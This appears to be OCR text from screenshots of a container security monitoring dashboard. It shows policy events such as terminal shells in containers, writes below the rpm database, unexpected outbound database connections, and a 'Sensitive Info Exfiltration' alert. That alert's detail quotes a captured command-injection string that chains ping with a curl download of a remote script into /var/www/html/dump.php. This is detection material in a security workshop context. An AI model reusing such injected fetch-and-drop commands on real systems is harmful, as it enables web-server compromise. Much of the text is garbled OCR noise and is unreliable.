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MiniShift 3.11
OpenShift 4.2,4.3
Kops
GKE (Google)
EKS (Amazon)
RKE (Rancher) with Kubernetes 1.13+
IKS (IBM)
£ mm¥ =K Kubernetes L« o | & Minikube 1.11/1.12
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Policy Events Entire infrastructure = £ export
Browse By Hosts & Containers .8 Terminal shell in container
® ip-10-0-22.20 > kBs_woocommerce_wooc.. 3ae26_0 a0
Entire infrastructure Write below rpm database (2)
L ip-10-0-27-193 > k8s_ftest_jclient-79..3ae26_0
> ip-10-0-19-153 53
> ip-10-0-2-212 0 About s
> ip-10-0-22-20 152 ® Write below rpm database (2)
> 10027193 192 ip-10-0-27-193 > k8s_ftest jclient-79...3ae26_0
» ip-10-0-27-216 77 About 6 hours
> ip-10-0-8-165 9 N
F NETWORK POLICY: System procs network activity
(=] ip-10-0-27-198 > k8s_mongo-statsd_mon...3ae26_0
About 4 hours
Sensitive Info Exfiltration
L4 ip-10-0-22-20 > kBs_phpping_ping-68b...3ae26_0 Ao
About 2 hours
Terminal shell in container
® ip-10-0-22-20 > kBs_woocommerce_wooc...3ae26_0 a0
Write below rpm database (2)
® ip-10-0-27-193 > k8s_ftest_jclient-79..3ae26_0
About 4 hours
APPLICATION POLICY - Unexpected Outbound Connection from DB
. ip-10-0-27-193 > k8s_ftest.mysq 3ae26_0 e
About 3 hours
APPLICATION POLICY - Unexpected Outbound Connection from DB
. 1p-10-0-27-193 » KBs_ftest_mysql-64c7...32626_0 e
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About 22 minutes

= Terminal shell in container
® ip-10-0-22-20 » kBs_woocommerce_wooc...3ae26_0
Write below rpm database (2)
® ip-10-0-27-193 » kBs_ftest_jclient-79...3ae26_0
About 12 hours
Write below rpm database (2)
L ip-10-0-27-193 » kBs_ftest_jclient-79...3ae26_0

About 6 hours

=) NETWORK POLICY: System procs network activity
o ip-10-0-27-193 > kBs_mongo-statsd_mon...3ae26_0

About 4 hours

= Sensitive Info Exfiltration
ip-10-0-22-20 » kBs_phpping_ping-68b...3ae26_0

About 2 hours
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Rule Type

Policy List

Entity

Action(s)

taken
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Policy Event Details X

When
10/4/2018 3:15:10.989 pm (35 minutes ago)
Related Resources

Capture and commands will cover 10 minutes around the time of the event.

VIEW CAPTURES @  VIEW COMMANDS @D

Severity
@ High

Triggered Policy
Sensitive Info Exfiltration Filter: Add Remove

Triggered Rule Type

Scope
1. host.hostName: ip-10-0-22-20

2. containername: kBs_phpping_ping-68b48b7dd7-vzgm8_ping_08264f21-abcB-11e8-a9a8-
06a00933a226_0

Host

Hostname: ip-10-0-22-20

MAC: 06:5e:f0:80:f4:bd

Container

|0: fa5daas9d42f

Name: kBs_phpping_ping-68b48b7dd7-vzgm8_ping_08264f21-abc8-11e8-29a8-06a00933ae26_0

Image: bencer/workshop-forensics-1-
phpping@sha256:a1071555701abd3cce94b3e4838a2254cf0ff07BaBecd0ac29e7c3dBc300fay

Actions

QD 1 capture recorded

Summary

Writing to forbidden directory (user=www-data command=sh -c ping -c 3 localhost; curl
https://gist.githubusercantent.com/bencer/9e32fb1af89754b4adB8346013dcd1110/raw/cd79134f420b59%
= fvarfwww/html/dump.php file=/var/www/html/dump.php)

\

) sysdig

e



When

Related

Resources

Severity

Triggered
Policy

Triggered
Rule Type

Scope
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Policy Events Entire infrastructure =
Browse By Hosts & Containers -
10.102.57.
Entire infrastructure 1096194, spiwordp
1002
> ip10:0-19-153 se
151
> ip100:2212 0
% 10.105.20.
» ip10-0-22:20 151
> ip10:0-27-193 192
> ip-100.27-216 7
> ip100-8165 9 1001285
10.101.14.
520502
100139
1002
1
oa1a
1002
n
Color Coding (based on number of policy events) [l 3/hourormore 1 1 or more [ Lessthan 1
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iy ¥% 4= A VAmzZfii — % 4340 — PD— #|=
Write below rpm databases—y ¥s I%l 3 A®°
Policy Events Entire infrastructure = usT [ill=] Q_ write below X 5N export
Browse By Hosts & Containers -
ire i fte bel datab
e e Richie ® ‘V:r:lide;W;gm kad‘i fa[z:t_(?he-wt-'ﬂj 3ae26_0
> ip-10-0-19-153 0
» ip1002212 0
» ip-10-0-22-20 50 Write below rpm database (2)
> ip-10-0-27-193 22 . ip-10-0-27-198 > kBs_ftest jelient-79...32e26.0
> ip10:0-27-216 0
> ip-10-0-8-165 6

Write below rpm database (2)
® ip-10-0-27-193 » k8s_ftest_jclient-79...3ae26_0
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1. Commands Audite=®" D ilp |'ﬁ8[Browse Bybos: DAL s 'Y 1/8|'f‘ ik -
qA°

Browse By Hosts & Containers =
Choose how to browse your infrastructure

Hosts & Containers
host.hostName * container.name

Sysdig Monitor Explore
host.hostName * container.id

Hosts & Containers (MACs and IDs)
hostmac » containerid

Containerized Apps
containerimage * containername * container.id

AWS ECS

ecs.clusterName > ecs.serviceName * container.id

Kubernetes (RCs)
kubernetes.namespace.name * kubernetesreplicati..ername * ku..

¢ CONFIGURE GROUPINGS
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1. [0ommands Audit}=0" D i’/8|HBrowse Bybos* DAL %3[0onfigure GroupingsHt—

ip -~ < =0roupings Editord:t Yeq A®
2. [oreate New Grouping)* fiedte * P = =g A®
3. T zi—=iDkK » tkbrfios DI yq A

Hierarchy

Q, Search

agent.tag.cluster
agent.tag.sysdig_secure.enabled
cloudProvider.account.id
cloudProvider.availabilityZone
cloudProvider.id
cloudProvider.securityGroups
container.id

containerimage
containerimage.digest
containerimage.id

containerimage.repo

AQ
5. okeTfi ~iDdK zZid A8 o™ —n ekbrfioss DI %S
L 4 <5a-
R
=fin*e, *<—u *zi 2 O - D¥%oOodgzs 5L 4 o5
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Groupings Editor
Hosts & Containers (MACs and IDs)
Containerized Apps
AWS ECS
Kubernetes (RCs)

Kubernetes (Deployments)

(¥) CREATE NEW GROUPING

Suggested Groupings

AWS @ N
One or more metrics not available

Docker Compose
One or more metrics not available

Marathon
One or more metrics not available

Mesos
Dne or more metrics not available

Mewr Nnrkar Swarm
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i
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2. A = iDk— —No|ouplicateo AD o ——cfidbc P p o= = A®

Groupings Editor
Hosts & Containers (MACs and IDs)
Containerized Apps
AWS ECS
Kubernetes (RCs) O ® >

7 Duplicat
Kubernetes (Deployments) -7 - .|

(¥) CREATE NEW GROUPING
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